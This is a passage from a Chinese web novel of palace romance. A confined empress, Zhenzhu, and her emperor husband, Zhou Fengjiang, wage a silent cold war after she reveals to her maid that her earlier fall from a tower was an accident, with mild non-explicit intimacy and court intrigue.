“三娘以为那时的冀州侯府里又会是何等景象呢?伤在女身,痛在母心。最伤心的当然是太后娘娘了。太后得知您坠楼的事儿,当场哭得就晕过去了。后来三娘数日不醒,太后整日以泪洗面,口中声声念叨着说要把她的命偿还给您,说您还正年轻,大好的年岁,怎么能出这样的事。三娘不是一直怨恨这些年太后帮着陛下瞒骗您么?又怨恨太后劝您委身陛下是利用您、作践您,您又恨太后是为了荣华富贵所以不敢和陛下撕破脸……”
“可是当年您出事后,太后什么都顾不得了,可是立刻提着剑就去找陛下算账的,太后怀疑是陛下逼得您寻死,那架势恨不得也要把陛下给生吞活剥了,哪里是那等卖女儿的恶母?”
“三娘重伤不醒时,太后实在没主意了,把冀州城里那些坑蒙拐骗的道士啊和尚啊也全找了一遍,叫他们到三娘院子里来念经祈福做法的,只求三娘能早点好起来。太后还不停地跟那些和尚道士们说,只要能换命,把她的寿数换给您也成,只为您能好起来,叫她这做娘的当场被雷劈死她也甘心。”
媜珠垂眸落泪:“我知道母亲是疼我的,是我伤了她的心。那天她召我去承圣殿,我和她大吵了一架。”
佩芝就款款地安慰她:“太后为人母是不会记着这些的。三娘哪日再去瞧瞧太后,您给她低个头,当娘的保管就不再提那些事了。”
媜珠沉默片刻,用指节抹去眼下的泪痕,又问她:“那旁人呢?我坠楼后,冀州侯府里旁人又是如何?”
佩芝嘲弄一笑:“还能如何?不过是表面上宽慰两声罢了。三娘重伤未醒,您的几个弟弟就有眠花宿柳在外头嫖宿寻欢的,这手里银子花完了,甚至还大摇大摆又来追要的,他们能为您伤心到哪里去?连太后的万分之一也比之不上,只怕没在背后偷着乐就算好心了。您可别觉得是婢子编排的,这事儿当年整个冀州城都知道。至于您那几位姐妹,哼……”
她口中啧了两声,也没再多说。
媜珠闭了闭眼睛,轻轻呼出一口气。
“从前母亲是对的。是我错了。”
是她不该不听母亲的话,非要把真心分给了那些不值得的人。
其实佩芝话说到这里时,是等着媜珠再追问一句“那他是什么反应”的,可是偏偏媜珠没问。
她就是不问。
她虽不问,佩芝也还是硬着头皮主动提到了这个人。
“当年三娘子伤成那般模样,除了太后之外,最伤心的就是陛下了。其实陛下对三娘的心疼,和太后比起来也不差什么。陛下寸步不离、衣不解带地熬着、守在您的病榻边照顾您,一连熬了数日不敢闭眼,到最后连觉也睡不着了,还要请王医丞来煮了安神汤才能勉强睡下一时半刻的。”
媜珠不吭声。她似乎根本不想再提到这个人。
佩芝只好再度试探性地问她:“三娘眼下可莫再如当年一般想不开了。不谈别的,就是太后娘娘这个年岁了,她也受不起这个惊吓啊!”
媜珠有些虚浮地笑了一下:“你放心吧,我不会寻死的。当年不会,现在也不会。”
“我当年,——我根本就不是想寻死。那天晚上我和他又是大吵了一架,我是气急了想跑出去的,谁知我忘记自己竟是在楼上,跑出去时又太急,就这么一下扑到栏杆上跌了下去。”
媜珠望着佩芝:“你不信吗?”
佩芝惊愕地愣在当场,久久不知如何开口。
如果不是媜珠此时此刻自己愿意张嘴提了,饶是谁也想不到当年的那场惨剧竟然只是因为她的无心而发生的。
所有人都以为她是想自尽的。
而她根本从未想过要寻死。
良久之后,佩芝又问媜珠:“那……以那时候的形势,若是陛下后来逼您逼得更迫了,您会再……”
“不会。我不会轻易寻死的。我跟他闹的时候虽则动辄要寻死觅活,可那只是吓他的而已。”
佩芝又追问:“那如果那时候没生出您坠楼的这桩事来,之后陛下在您没失忆的情况下强行要迎娶您为妻呢?您会如何?”
这是个好问题。
媜珠以前还真的没想过。
如果她一直没有失忆,而周奉疆一定要得到她,她会怎么样?她会做出怎样的反应?
媜珠思考的时间比刚才佩芝在错愕之下沉默的时间还长。
最后,媜珠是这样告诉佩芝的。
“如果是当年那个十六岁的周三娘子,也许不需要她失忆,她最终还是会顺从了的。毕竟,她母亲赵夫人也会跟着劝她嫁给兄长,她只能嫁。婚后,若是他待我尚好,没有如今时一般轻贱我、侮辱我,等我再给他生了孩子,也许我就真的认命跟着他了。
再等到婚后我稍稍冷静些,他对我动之以情晓之以理,告诉我他所做的一切都是为我好,告诉我张道恭并非我的良配、告诉我我家中的亲人手足对我并非真心。
……也许我真的就会这样和他把日子过下去吧。”
如果他能对她稍微有一点尊重,守着从前做兄妹时候的情意,或许她也还能把日子将就着过下去的。
“那如果后来有人说能带您走,能带您去见张道恭,您会再想着逃出冀州吗?”佩芝问。
媜珠没忍住,噗嗤一下笑了:“这我就不知道了。”
佩芝心下了然,再没有多问了。
——周奉疆当年劝媜珠一直没劝到点子上。
他让媜珠别嫁给张道恭,他总是来来回回说那两句话,说张家的天下马上就要完了,你嫁给张道恭一定得当亡国奴,你是想和他一起沿街乞讨要饭吗!张道恭给不了你永生永世荣华尊贵的生活的!
然而周奉疆并不知道,深陷于情爱之中的女子最听不得的就是这等话。
你告诉她她的情郎身上没银子,她越发觉得这是自己和情郎情比金坚的象征。
我的情郎越是穷困潦倒,我就越是要陪着他!我非要陪他吃苦!越是吃苦越能显得我们彼此山盟海誓永结同心!
要是你一来劝我,我听说我的情郎穷困了我就抛弃他,岂不显得我这等女子何其爱慕虚荣、嫌贫爱富?
我非不听劝。
周奉疆越劝,媜珠越是来劲非要嫁。
他要是当年就把张道恭的真面目扒出来给媜珠瞧瞧清楚,媜珠反而能真的死心了,不会再闹着要嫁了。
但周奉疆偏偏也没这么做。
因为比起人品来,他自觉对于张道恭来说并不占优势。
那时候的张道恭不是什么好人,可他周奉疆也是恶种一个,就算是情敌,他又哪里好意思攻讦别人的人品?
你张道恭是小人,我周奉疆也不是什么君子,半斤八两罢了。
自那日媜珠刺伤过他之后,周奉疆无事再也不踏足椒房殿半步了。
他不会再过来陪媜珠用膳,夜里更不会留宿于此,似乎他也想铁了心要冷一冷她。
他要用自己的方式让她明白,失去丈夫的陪伴和宠爱,对她来说是一件多么可怕、多么难以忍受的事。
她现在只能一个人默默地用一日三餐,饭桌上连个和她说话闲聊的人也没有。没有人给她夹菜盛汤,她那样爱吃鱼虾螃蟹,也没有人给她剥虾剥蟹、挑出鱼刺,把最鲜美的肉递到她碗里去。
她夜间也只能一个人孤枕而眠,没有人会抱着她入睡,她夜里醒来想要喝水,也不会有人体贴地去倒好一杯温度适宜的蜜水递到她唇边喂她喝。
她一定十分痛苦,十分懊悔,十分想念他的好处。
为了刺激她,周奉疆还暗中命椒房殿里膳房里的橱子们一日三餐都给媜珠端上虾蟹鱼肉来。
媜珠也的确有些苦恼。
她不喜欢亲自动手剥虾剥蟹,但她往常更不会使唤婢子们给她剥。
——或许是出于某种隐秘的喜洁的心理,别人动手剥好送来的,她总隐隐约约觉得有点儿……不干净,不爱吃,所以也就不要她们剥了。
只有周奉疆剥来给她的,她能毫无心理负担地大快朵颐。她不觉得他手碰过的食物脏。
现在他不在,这一碟又一碟的虾蟹她也不想伸手,每次婢子们端上来,等饭毕,她就又吩咐下去说:
“我近来总觉得有些脾胃虚寒,不大爱吃这些,一筷子也没动过,你们端下去自己分了吧。——记得剥两只虾也给灿娘子,它爱吃的。”
再者能让她苦恼的,就是偶尔夜里想起来喝水时,她还会如往常一般睁着眼睛静静等着有人倒好了蜜水过来喂她,好几次等着等着等到她昏昏欲睡差点又睡着了时,她才想起来现在没人伺候她了。
夜深了,她不想为这点小事使唤外间守夜的婢子们,于是她又只能摸着黑从大床上爬起来,跌跌撞撞地摸到桌边去倒水。
不过幸好有灿娘子在,灿娘子的一双猫眼在夜里亮晶晶的,像星子一般,每次媜珠夜里起身,灿娘子都会先跳到桌边等着媜珠,媜珠寻着它这双猫眼摸过去,也就不会再磕碰到什么了。
至于周奉疆,他什么时候会过来呢?
他色欲熏心,精虫上脑的时候。
第74章
在她被他软禁的三四天后,周奉疆于深夜里再度踏足过椒房殿。
媜珠彼时刚洗漱过,又拿着一张巾帕给灿娘子的猫脸和四足都擦了擦,正欲带着灿娘子一起睡下。
听得周奉疆要过来,她慌慌张张地取过那只镣铐扣在自己脚踝上,又让佩芝赶紧把灿娘子带下去,免得灿娘子等会又扑到周奉疆身上去抓他。周奉疆的脾气可算不上好,他也不可能永远纵着灿娘子的,万一哪日他要真发疯处置灿娘子,便是她怎么哭也没用。
灿娘子眼下似乎也不太待见他。
寝殿衣橱里放着几件周奉疆的寝衣,它前日不知怎么翻进去的,费劲力气把周奉疆的几件衣裳全都扒拉了出来,拖拽了一地,用嘴巴叼着一路想朝外头扔去,媜珠怕宫人们知道了会告诉周奉疆,最后又是她自己蹲在地上一件件再给收拾好的。
他夜里再过来时,媜珠神容温婉沉静地披着头发坐在床榻边,似乎还是从前那个静待丈夫归来的妻子。
可她还是没有主动开口叫人,没有以任何礼数迎接他的到来。不论是以兄妹、夫妻还是君臣的身份。
周奉疆这次并没有再激她,也没有对她说什么不中听的话惹她生气反击。
他压根就没有对她说话。
他目的很明确,就是为了来临幸她的,所以一声不吭地过去,取出钥匙解开那镣铐,把锁链扔到一边,将媜珠推到榻上躺下,随手解了自己身上的衣袍,而后便覆到她身上亲吻起她来。
媜珠的眼神闪了闪,但并未反抗,连推他一下都没有。
周奉疆似乎也无意过多折腾她,这场房事平淡得甚至有些索然无味,是中规中矩的地点,用他们从前惯用的姿势,没有什么言语的挑逗与戏弄,没有对她额外的侮辱,只是仅此而已。
媜珠感觉尚好,中途状似无意地扫了一眼,发现她几日前刺在他胸膛前的血洞已经结痂了,大约很快便能痊愈。
至于他臂膀上被她用护心镜砸出来的划伤处和灿娘子留下的抓伤,更是早没了什么痕迹,媜珠偷偷用余光扫了很久才找到一点点印子。
如果这样的伤尚且不足以在他身上留下疤痕的话,那那些留下了疤痕的地方,当年又是被怎样的利器伤过的?
媜珠没有再思考这个问题。
后来她有些累了,忘记今晚一共有几次,只记得事毕后他伏在她肩窝间粗喘着平复呼吸。
片刻后,他披上衣服起了身,媜珠以为他是去倒了盏茶喝,又以为他或许是去沐浴的,总归夜色深深,他肯定要宿在这里。
是以她倦乏无力地滚了滚身子,朝大床内侧让了让,照旧把外侧留给他睡,为了不和他等会在床榻上打官司争地盘,媜珠还颇大方地提前将锦被的一半留给了他。
而在一旁穿好衣裳的周奉疆则用一种格外……格外匪夷所思的眼神看了媜珠一眼,轻笑了一声,转身便离开了。
他走了。
媜珠骨碌一下从榻上爬了起来,望着他离去的背影,连她自己或许都未察觉到,她的神色是极其不快的。
他居然走了?他居然就这么走了?半夜跑来一声不吭地把她里里外外睡了这么多遍,然后就这么走了?
尤为让媜珠愤怒的是他临走前的那个眼神。
那是种什么眼神呢?
那眼神完全像是他在对她说:“你以为你是谁?你只是朕的一只金丝雀,一个玩物罢了!朕睡睡你也就得了,岂会留宿于此和你同床共枕?你做什么春秋大梦呢!”
媜珠越想越气,气得在他走后痛骂了他好几声老畜生,又叫佩芝来帮她擦了擦身子,叫她揉按着自己鼓胀的小腹。
老畜生,不是想叫她给他生孩子么,她偏不,她还要让他每次留下的全都做空,让他白费力气。
媜珠的脾气来得快去得也快,到底她是不会为了男人长久的生气的,待佩芝帮她清理过身体,她又叫佩芝抱回了灿娘子,和灿娘子一起睡了下来。
灿娘子原以为周奉疆或许再也不会回来了。
不回来才好!
大抵在一只猫儿的认知里,这椒房殿原先是独属于他们一起觅食的地盘,这里的所有人都是和它一样的猫,或者是犬类。
媜珠是最漂亮高贵的狮子猫,而周奉疆则是一只恶犬。小宫女们是可爱的小三花,小宦官们是老实巴交的土犬。
原先他们所有人都在这里和平共处。
而上次周奉疆不老实,坏了规矩,竟敢动手对媜珠施暴,经过它与媜珠一番勇猛地搏斗,她们已经把那只恶犬给打跑了,以后这地盘就只属于她们两人的。
但今夜那只恶犬居然还敢回来!
他不仅敢回来,他还在它与媜珠的床榻上留下了记号,还用他的气息和脏东西标记了媜珠的身体!
它最喜欢的媜珠、独属于它的媜珠,被他又标记过了……
以前他就总是喜欢标记媜珠,在媜珠身上留记号,白天会回来标记她,晚上也会标记她好几次,它总会趴在横梁上默默地观察他们的动作,而那时他对媜珠还不错,媜珠似乎也很喜欢他,所以它也就没什么反应了。
现在呢?现在他应该已是一只被打败的丧家之犬了,他怎么还敢这样大摇大摆地回来继续标记媜珠?
下次他再敢来,只要它在,它一定把他的狗头狗脸狗鼻子全都抓烂。
灿娘子在床头栏杆上磨了磨爪子,睁大猫眼怪叫了好几声,气得猫鼻子都快歪了,媜珠安抚着它哄它好不容易睡下。
灿娘子拱了拱,趴在媜珠腹部嗅了嗅。
还好,媜珠应该没有怀上他的崽,媜珠不会给他生一窝狗崽子出来的。这么多年她被他标记那么多次都没怀过崽,以后大概也不会有吧。
肯定是他不行。
于媜珠而言,这又是一夜好眠。
今夜睡不着的人还是周奉疆自己。
他岂止是睡不着,他简直又是雷霆大怒。
——媜珠今夜居然没有开口和他说一个字,更没有挽留他宿在她那里。
她竟当真厌恶他至此!
临走前,他还转身看了她一眼,暗示她留他睡下,结果她对他格外嫌弃厌恶,裹了裹被子就睡到内侧去了,像是巴不得离他越远越好似的。
她肯定还是没有吃够苦头。
她肯定还不知道没有丈夫的陪伴是件多么可怕的事情。
周奉疆侧首望向倪常善:“你问过佩芝没有?皇后这几日如何?”
倪常善心知皇帝面上不问,其实心里也想着她的,只是碍于颜面不好亲自开口而已,还好他早有准备,一天几趟地叫他干儿子去椒房殿里跑腿,打听皇后的一日三餐、衣食寝居。
“陛下,奴婢问过佩芝了。佩芝倒是说娘娘这几日并无大碍,性情和顺,饮食上也肯多吃些了,无一处异样。”
怪不得,这没心没肺的白眼狼吃好喝好睡好,难怪方才他摸了摸她的身子,没看出她有半分清减,甚至还总觉得她略胖了些。
“她每日都做些什么?”
“娘娘如今不理宫务,也不见宫外的命妇们,是以早晨起得都迟些,起身后略梳妆,用些早膳,陪猫儿玩一阵,而后就是午膳,午膳后娘娘会喝些清茶,再午睡一阵,起身后会用些茶水和时兴的点心,如今夏热了,娘娘尤爱吃些冰的……”
周奉疆听到这里就开始烦躁了。
吃吃吃,睡睡睡,她每日除了吃就是睡和玩,难怪气色不错,原来她竟是躲在椒房殿里享福的了!
而他每日三更起五更睡的,一日中几乎所有的时间全耗在宣室殿里处理政务、听那帮老臣聒噪,连午憩都常常抽不出空来。
一想起此处,周奉疆还越发恼火,岂止是媜珠气色不错,她在椒房殿里养的所有宠物过的都不错,肥猫肥鸟肥孔雀,就连锦鲤胖的都要在水中沉底了,唯有他一人不痛快。
她怎么能过的这样惬意?
她不是应该整日以泪洗面、哭诉自己的任性娇纵和愚蠢吗?她不是应该因为他的冷淡而惶惶不安、寝食难安吗?
她现在应该急得团团转才对,她应该不停地向她的母亲和宫里年长的嬷嬷们寻求帮助,向这些人请教她该如何复宠、如何挽回丈夫的宠爱!
这一切和他所预想的全都不一样。
周奉疆又问:“那太后那里呢?她不是和她母亲大吵过一架吗?现在也和好了?不为她母亲的事伤心了?”
“那是自然。”
倪常善陪着笑回道,“人家亲母女哪有过不去的坎儿,听佩芝说,前日娘娘手书一封信交给太后娘娘,似乎是给太后娘娘赔罪认错的,太后看了那信也哭了一场,人家这亲母女立马就和好如初了,吵架时的龃龉也不提了。哎呦,这说到底,世上哪有亲娘不疼孩子的嘛。”
周奉疆气得冷笑了一声,“她们亲母女就没有过不去的坎,那她和朕呢?我们兄妹之间甚比亲骨肉,夫妻情意胜过山盟海誓,她怎么就不和朕书信认罪呢?”
倪常善喏喏地低下了头去。
最终,周奉疆又安慰自己说,也许这还只是时间的问题。
她现在只是强撑的罢了。三五日的,他不在,她不知道他的好处,等时日再稍长些,她总会意识到不习惯,总会开始后悔的。
而他只需要像熬鹰一般慢慢熬着她的性子就好了。
佩芝这日再来到承圣殿见赵太后时,赵太后又私下给了她一笔丰厚的赏银。
“皇后虽是我亲生,可她现在脾气大了,难免有些不爱听我这亲娘的话,总以为我是要害她的。还得劳你多劝劝她,哄着她想开些。这次还是多亏了你劝她,我这心里啊常常七上八下的不太平,日思夜想的也怕她再做傻事。佩芝,你可一定得替我看好她。”
佩芝口称不敢:“太后娘娘对婢有恩情,婢服侍皇后本是应当,不敢拿这些金银赏赐。”
赵太后微笑着让她收下。
佩芝压低声音又问太后说:“太后,婢知太后为了陛下和娘娘之间的事悬心牵挂。既然娘娘说她当年并非有心轻生,只是一场意外,婢是否应将此事告知陛下呢?兴许陛下知道了,心里的一个心结解开了,和娘娘之间也能稍微和缓些。”
赵太后摆手连称不行:“错!谬矣谬矣!这话你还千万不能告诉皇帝。你当男人是什么好东西?天下乌鸦一般黑,连那阉了的阉人也是一样!你若现在告诉皇帝说媜珠从未想过轻生,他只会愈发有恃无恐起来,还不知又要怎样轻贱她呢!你反而要借机告诉他,说媜珠近来郁郁寡欢、茶饭不思,寝食难安,似乎又有当年要跳楼那阵的做派了。就是为了皇帝好,你也要存心去吓吓他,他知道怕了,他对媜珠儿先服个软,媜珠渐渐也就和他好了。”
原来是这样。
佩芝连连称赞赵太后有计谋,只是,
“——可娘娘近来吃得好睡得好,气色红润,还胖了些,奴婢说娘娘恐怕想轻生,陛下会信吗?”
后来大半月的时日里,媜珠和周奉疆都维持了这种微妙的冷战与平静。
他会来睡她,有时是隔个一两日来一次,有时是日日都来,更多的时候甚至一天会来两次。
他很干脆,每次过来全是直奔主题,和她温存欢好。别的一句话也不说。
他不开口,媜珠也不说话,不迎合不反抗,任他施为。
身体再亲密时,面对彼此的神色也是冷淡无物的,不肯有半分让步温柔。
事毕后,他穿衣就走,连多陪她待一会也不肯,媜珠懒懒地打个秀气的哈欠,拥着锦被睡下养神。
谁也不和谁说话,连一句情爱之中的挑逗言语都没有。
大半个月下来后,媜珠的气色越发好了,连精致小巧的下巴也圆润了一些,快要向灿娘子的姿态靠拢了。
而周奉疆的状态则越来越像一只无家可归的丧家之犬,整个人阴沉沉的,眉眼凝结着郁气,眼底常布着一层血丝,身体还消瘦了几分。
和从前相比,她现在的确过得还更轻松了。
至少和周奉疆撕破脸皮后,他们表面上装模作样的夫妻情意荡然无存,除了要陪他上床之外,她也不用承担他妻子身份的任何义务。
不用关心他的衣食起居,不用关心他平素是否劳累、是否心情不快,连演戏都不需要再对着他演。
甚至被他软禁在椒房殿内之后,她不用见外人,连承担中宫皇后的职责也与她无关了。
有时媜珠会想,在实在无能为力改变现状的情况下,就这样过一辈子她也只能认了。
可,一切真的能就这样维持下去吗?
她又心知肚明并不可能。
第75章
媜珠虽在禁足之中,周奉疆不准她踏出椒房殿半步,但流水一样送进椒房殿里供养她的东西却是一样从未少过的。
从前他就是任由媜珠殿内各种开支,内廷虽有成例规定后妃一月用度多少,即便媜珠平素多节俭,根本用不了什么,可实际上他每月送给媜珠的,从来都不看那些开销账本上的定例,他想给媜珠多少就给她多少。
那些绫罗绸缎媜珠根本穿不完,珠宝首饰也戴不完,她又只能拿去赏人。
起先有人劝过说这样不合礼法,新朝立国之初,如此毫无节度赏赐后宫,岂非纵容后妃奢靡之气?
皇帝便道,朕与皇后同居一处,这些并非皇后的开销,而是朕一人的开销,要记就全记在朕头上,你们是想说朕奢靡吗?
然现在他并不与媜珠宿在一处,可衣食上更没有短了她半分,他也从未在这上头给她吃苦头。
譬如说,如今正是暑夏炎热,宫里的主子们不用冰是不成的,周奉疆担心媜珠畏热,叫人一日几趟地往她殿里送冰,堆在冰鉴里供她祛暑,生怕这只闷在笼子里的金丝雀被热死了。
他毫无节制地供着她用冰,这也是从不看前朝后宫里那些后妃定例的,只要她想,她要多少就可以有多少。
这还有个笑话,有一日赵太后也觉得炎热,她近来又常去小佛堂里拜佛念经,就叫人也去冰库里多支些冰来,把她的小佛堂里也摆上冰鉴,好叫她凉快凉快。
也是怪福蓉多说了一句,说皇太后宫中每日用冰皆有定数,如今小佛堂若还要格外用冰,咱们是否要再和内司省的人说一声?
赵太后哪受得了这个委屈闲气,当即叫嚷起来:
“我?我是谁?我是这天下的太后!我用点东西,还要和奴才们请示请示?!反了天了!皇后宫里都够她挥霍受用的,我是她娘,我反还过得不如她了?有这样的道理?”
周奉疆最烦妇人吵嚷,听闻赵太后口中又借机寻事生非起来,他颇为不耐烦地叫人来吩咐说:
“朕几时说过朕要节制太后的用度?正巧内司省近来还要新修个冰库,你去问问太后,索性在她宫里挖个地道充作冰库可好?在她宫里挖出来的,这冰库就供她用了!”
大部分情况下,后宫的嫔妃们缺冰用是有缘故的。
因为宫城之内的殿宇楼台不比宫外寻常官宦百姓人家的屋舍,寝殿往往颇为高大,内里修广阔,殿中空旷,冬日用炭少了不易温暖,夏日用冰少了不易凉爽。
或许这就是因为太富贵了也有富贵的不便之处。
然而媜珠的夏日并无这样的烦恼。
椒房殿内不分昼夜都有充足的冰鉴用来消暑,殿内凉爽宜人,令人居而忘忧。
这些冰鉴里的冰一面可以用来消暑,另一面还可以用来冰镇着鲜甜的瓜果和糖水,又可以制为冰沙食用。
媜珠十来岁做闺阁少女的年纪里曾和婈珠她们琢磨出许多夏日用来避暑的吃食。
比如雪泡豆儿水,就是冰糖绿豆桂花蜜水,冰镇酸梅汤,糯米藕丝糖桂花冰饭、冰浸果子等等。
现在她被禁足殿内,索性也是无聊,于是闲暇时又一一将这些东西再制了出来,不仅自己吃,也会分给椒房殿里伺候的宫女宦人们。
前一日她要喝那雪泡豆儿水,最后煮出了一大锅,媜珠不敢贪多,自己慢悠悠地就喝了一小杯,剩下的都叫那些嬷嬷和宫人们分食了。
小宫娥们感激不尽,从未想过媜珠还能把这金贵的冰镇糖水分给她们吃。
媜珠轻轻扇着手中一把缂丝象牙团扇,莞尔一笑:“这里头也没什么金豆银豆子的,绿豆,冰糖,桂花蜜,都不是什么贵重的物什,不过是吃个好玩而已。”
她近来的日子还真是太好过。
周奉疆的确禁足了她,可正值夏日暑热最盛的时节,媜珠本就不想往外去,有几次她站在殿门处悄悄往外面张望了翻,顿时便被那扑面而来的热浪打了个正着,吓得她又连忙缩了回去,躲在冰鉴旁细细喘息了许久才缓过来。
她正好也乐得不问宫内宫外百般琐事,一心躲在金丝笼里偷懒。
偶尔需要她费点力气也只是在床榻上。
可就算侍寝,她也是好过的。
佩芝她们都心疼她受了罪,每每周奉疆从她身上起身离开后,佩芝她们就会团团围上去照顾她,哄着她。
她们会给她喂水、喂她吃东西、给她擦拭清理身体,有时她实在没承受住,嬷嬷们还会哄她几句,说什么“男人都是这样的,天下男人都这般,娘娘别往心里去”。
周奉疆有几次听见了两声,还心想也不知这些人有没有偷摸着骂了他两句的。
仿佛她侍寝了两三回,就是遭了多大的罪受了多大的折磨一样。
明明她的身子不是也很欢喜么?不是也主动缠着他了么?
媜珠对下人一贯好说话,既然她寝殿里摆了足足的冰鉴,这寝殿又太过宽阔,她觉得自己一人在这富贵窟里太过奢靡,所以也允许那些身上没有差事的宫人们坐在外殿里避暑。
然后她又把自己的几只鸟、几只猫儿犬儿兔儿的白日里都抱进来凉快凉快,也怕这些小畜生们熬不住暑热的。
既然白日她寝殿里热闹些,人多了些,便总有小宫娥们会凑过来跟媜珠闲话,媜珠渐渐地也被她们带着活泼了些,每日会和她们闲玩一阵。
或者是挑挑红绳,或者是扎些绢花,嬉笑间一日的时光就打发了过去,她脸上的笑意也多了许多。
她本来觉得自己是笑不出来的,一个受辱失贞的女人,若按照她从前所受的教养来说,她不是应该自尽了断、以死明志吗?
可真的熬下去之后,又发现一切似乎并没有那么糟糕。
她还可以笑,可以过好自己的每一日,得欢且欢,尽情享乐。
有位宫廷女画师崔昭云也趁着这个夏日守在椒房殿里画下了一副传世千年的绢本宫廷仕女图——《魏后消夏图》。
此画长约十寸,宽约一百七十余寸,工笔重彩,研雅精致,晕染细腻,华丽而不落俗。
此画的地点是魏宫的椒房殿内,殿宇巍峨,既然是皇后居所,内里陈设奢华,有百般珍宝陈设等等不可胜数,不必多提。
画面正中心是坐在一张象牙席美人榻上的魏宫赵后,一身香云纱月仙裙,臂间挽着轻柔如云雾般的披帛,云鬓雪肤,头戴凤冠,身姿纤柔,温婉静谧,雍容华贵,美艳不可方物。
而她怀中抱着一只温顺的肥嘟嘟的波斯猫,美人榻边还卧着几只雪白的兔儿,几个宫娥嬉笑着蹲在地上,拿着嫩草去逗兔子们吃食。有几个宫娥正在打理赵皇后的发髻,又有几人在一旁扎着绢花,另一旁又有几个宫娥正看着炉子,炉子里熬煮着酸梅汤。
画中是一派和乐晏然,气氛静谧,令人观之而心悦神怡,仿佛只透过这画面一角,便可观当年的太平天下、雄伟帝国。
这幅画后来落到了皇帝眼里,皇帝欣然提起玉玺在这画作一角留了御印,也似是向后世做实此画并非作伪。
他的皇后有多么美丽,他的皇后在他宠爱之下过着何等无忧无虑的生活,他的皇后如何善良柔婉、对待宫娥们又是如何和顺宽容,都得到了皇帝的亲自盖章认证。
也因此,媜珠在这幅画中的妆容发髻、衣裙披帛,千余年来在后世不停地得到了千万女子的效法和模仿。
她的一生是好运的。
哪怕生于乱世,她活着的时候也从未受过半分战乱的颠沛流离之苦。
而即便在她死后,连她的画像也被千余年来的无数人抢夺珍藏,视为挚宝,从未有人敢舍得伤她分毫。
因为这幅画的精致,因为她丈夫在这幅画上留下的国玺印章和题词笔墨,使这幅画被人认为更加宝贵难得。
所有人都觉得,她的丈夫那样爱她,当看到这副描绘他心爱之人容颜的绢画时,他一定是欣然大悦。
但实际上周奉疆现在每天都在憋着气,气得他心头一阵一阵地发堵。
这一日他午后来到椒房殿寻媜珠时,看到的就是这幅图景,比画中的还要生动活泼许多倍。
周奉疆早已不再用金锁链去锁媜珠了,而彼时媜珠正和一群宫女闲话嬉笑之间,这殿里乌泱泱的什么东西都有,连兔子都趴了好几只,宫女们手中都捧着一只素茶杯,杯中盛着冰镇过的酸梅汤,媜珠也捧着一只茶盏啜饮了几口,又与她们道:
“这里头的乌梅干好酸啊,我每次喝着都有些酸,下次少放些吧。”
有个大胆的宫娥与媜珠嬉笑起来:“真有这么酸,娘娘不是该留着么?等娘娘马上怀上小皇子了,正是爱吃酸的时候了,这乌梅干还有大用处呢!”
说起这话,旁人也都附和起来,声声恭维媜珠。
她们似乎也都忘记了媜珠和皇帝之间的不快,忘记了周奉疆曾经对媜珠做过的那些事,忘记了甚至直到现在媜珠还在禁足之中。
媜珠垂眸一笑,倒是不以为意的样子:
“好好地我要怀它做什么?怀了它还要各种忌口,这冰镇的糖水也吃不得了,我才不——”
“陛下!”“陛下来了!”
“陛下——”
这话刚聊到此处,满殿的宫娥们忽然全慌慌张张地跪倒了下去,以头触地,向毕恭毕敬地突然出现的天子叩首行礼。
端坐在榻上的媜珠抿了抿唇,唤她们起身把兔子们抱下去,又把自己怀里的灿娘子交给佩芝。
她若无其事地起身朝内殿走去。
周奉疆沉着脸跟在她身后。
行至内殿,媜珠也不看他,自顾自地低头解着自己的衣裙,周奉疆终于沉不住气对她说了这近一个月来的第一句话:
“我说让你解衣了吗?难道我们之间只剩下这个?你这是在羞辱谁?”
是他先开了口。
是他先忍不住,输了的人是他。
媜珠慢慢放下了自己搭在衣扣上的双手,抬首望了他一眼。
不知他近来到底是怎么了,竟然熬得神容越发沧桑疲乏了下来,眉骨紧锁,下颌线条分明。
他整个人都是灰沉的,昏暗的,没有一点鲜亮之色,陈旧腐朽得像深埋墓地为人陪葬的一把生锈的剑。
媜珠不禁又想,他这副模样也不知是不是因为纵欲过度,兴许除了她之外,他在外头早已宠幸了不知多少没名分的女人了。
反正她被他关着,她也不知道。正好没了中宫皇后的看管,他想做什么就做什么,也不必顾及她的脸色了。
否则,就她一个人何至于把他弄成这副样子?
狗男人。
“不然呢?妾还能为陛下做些什么?妾弱柳之身,不堪重用,厚颜享陛下恩赐之众,只有在床榻间侍奉陛下聊以报恩罢了。”
周奉疆看着她眉目之间的清冷淡漠,心头有百般火气想发,可对着她又舍不得了。
她对所有人都这么好,对奴婢们有说有笑的,对畜生们有说有笑的,她煮来那些夏日消暑的吃食,连宫人全能分到她的赏赐和关心,连猫狗畜生都能分到两块碎冰舔一舔,那她对他呢?
这么多天,从芒种、夏至以来的暑日里,她让人给他送过一盏凉水吗?
就算他们现在正在闹冷战,可但凡得了什么好东西,他还是叫人送来给她的,她为什么就不能稍稍关心关心他一点,叫人给他送点东西呢?
哪怕是一句淡淡的关心,哪怕只是叫人问一句他最近如何,她都不肯!
头一回听说她在殿里开始煮酸梅汤时,倪常善过来告诉了他一声,又说近来的确炎热,不如午间也叫人给陛下您煮一壶祛暑的凉茶来?
他还自作多情地回绝了倪常善,说皇后宫中既然煮了,她必会叫人送来给他,宣室殿里就不必再煮了。
结果呢?
他是从日中等到日落,等到天黑了也不见她让人给他送半滴水来。后来连倪常善看着他的眼神里都有一股微妙的怜悯。
和他在一起时,她也从未笑得这样开心过。
——她和张道恭亲口说的,说在这宫里,在他身边,她没有一日欢愉。
结果一群奴婢们在她殿里和她一道喂喂那死兔子,她就高兴成那样。
还有刚才她说的话。
她说她不想给他怀孩子。
凡此种种,周奉疆都想朝媜珠要个解释来。
可现在他忍住了没有对她发火。
媜珠是吃软不吃硬的。
他对她越强硬,她就越不从,越要发疯,严重时闹起来连寻死都不怕。
他实在是经不住了。
他想驯服媜珠,就像是想驯服瓷盆里一株冷艳傲慢的牡丹。
纵使它再柔弱需要人呵护,但它也绝不向人屈服。
很神奇,不是么?
哪怕你用铁链和刀剑锁住它的根茎逼它弯腰,它也绝不会屈从,它只会自断根茎,一死了之,宁死也不让人得逞。
你只能轻声细气地呵护它,照料它,想要占据它的美丽,就要容忍它的脾气。
你的手可以在它允许的范围之内温柔地抚摸它的花瓣,这样它才能给你一点回应,和你和睦相处。
牡丹就是牡丹,不论你是帝王将相还是凡夫俗子,它都不会为了任何人而让步,它永远都是那个活法。
媜珠现在就是这株牡丹。
所以,你是愿意对她让步、来换取得到她的美丽的机会,还是宁愿用铁链锁着她的根茎看着她死亡,和她玩那套鱼死网破?
周奉疆选择了前者。
他已经发现了,媜珠最无法接受的其实是他言语上的训斥和与她同房时蓄意的侮辱。
